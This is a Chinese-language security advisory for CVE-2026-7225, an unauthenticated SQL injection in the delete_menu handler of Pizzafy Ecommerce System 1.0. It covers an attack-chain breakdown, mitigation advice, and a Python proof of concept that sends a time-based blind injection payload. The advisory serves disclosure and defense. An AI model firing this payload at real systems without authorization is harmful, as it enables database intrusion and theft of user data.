IPBUF安全漏洞报告
English
CVE-2026-7225 CVSS 7.3 高危

CVE-2026-7225 SourceCodester Pizzafy SQL注入漏洞

披露日期: 2026-04-28

漏洞信息

漏洞编号
CVE-2026-7225
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Pizzafy Ecommerce System

相关标签

SQL注入SourceCodesterPizzafyWeb安全高危漏洞远程代码执行

漏洞概述

SourceCodester Pizzafy Ecommerce System 1.0版本存在SQL注入漏洞。该漏洞源于/admin/ajax.php文件中delete_menu函数未正确过滤用户输入的ID参数。攻击者无需认证即可远程利用此漏洞,通过构造恶意SQL语句操纵数据库,可能导致敏感信息泄露、数据篡改或系统服务中断。目前该漏洞利用代码已公开,风险较高。

技术细节

该漏洞位于SourceCodester Pizzafy Ecommerce System 1.0的后台管理接口中。具体受影响文件为`/admin/ajax.php`,涉及的功能函数为`delete_menu`。由于应用程序在处理`delete_menu`动作时,直接使用了`ID`参数构建SQL查询语句,未对该参数进行有效的安全过滤或类型检查,导致产生了SQL注入漏洞。根据CVSS向量分析,攻击复杂度低(AC:L),且无需用户交互(UI:N)和特权(PR:N)。攻击者可以通过网络(AV:N)向目标服务器发送特制的HTTP请求,在`ID`参数中注入恶意的SQL载荷。成功利用此漏洞可导致数据库中的机密信息被读取(C:L)、数据被非法修改(I:L)以及数据库服务不可用(A:L)。

攻击链分析

STEP 1
侦察
攻击者识别出目标系统正在运行SourceCodester Pizzafy Ecommerce System 1.0,并定位到/admin/ajax.php接口。
STEP 2
漏洞探测
攻击者向`/admin/ajax.php?action=delete_menu`发送请求,并在`ID`参数中注入单引号或特殊字符,观察应用响应以确认SQL语法错误或时间延迟。
STEP 3
漏洞利用
攻击者构造恶意的SQL Payload(如UNION SELECT或基于时间的盲注语句),通过`ID`参数发送至服务器。
STEP 4
数据窃取或破坏
数据库执行恶意SQL命令,攻击者进而提取管理员密码、用户数据等敏感信息,或删除/修改数据库内容。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_sqli_vulnerability(target_url): """ Proof of Concept for CVE-2026-7225 Tests the 'delete_menu' function for SQL Injection via the 'ID' parameter. """ # The vulnerable endpoint full_url = f"{target_url}/admin/ajax.php" # Payload to test for time-based blind SQL injection # Adjust the sleep time depending on network latency payload = "1' AND SLEEP(5)-- -" params = { "action": "delete_menu", "ID": payload } try: print(f"[+] Sending request to: {full_url}") response = requests.get(full_url, params=params, timeout=10) # Check if the response time indicates a successful injection if response.elapsed.total_seconds() >= 5: print("[!] The application is vulnerable to SQL Injection!") print(f"[+] Response time: {response.elapsed.total_seconds()} seconds") else: print("[-] Vulnerability test inconclusive or failed.") print(f"[+] Response time: {response.elapsed.total_seconds()} seconds") except requests.exceptions.RequestException as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost" check_sqli_vulnerability(target)

影响范围

SourceCodester Pizzafy Ecommerce System 1.0

防御指南

临时缓解措施
建议立即检查并修补/admin/ajax.php文件中的delete_menu函数,对ID参数进行严格的整数类型验证或使用参数化查询。若无法立即修复,应通过网络防火墙(WAF)拦截针对该接口的异常SQL请求,或暂时禁用该删除功能直到补丁发布。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表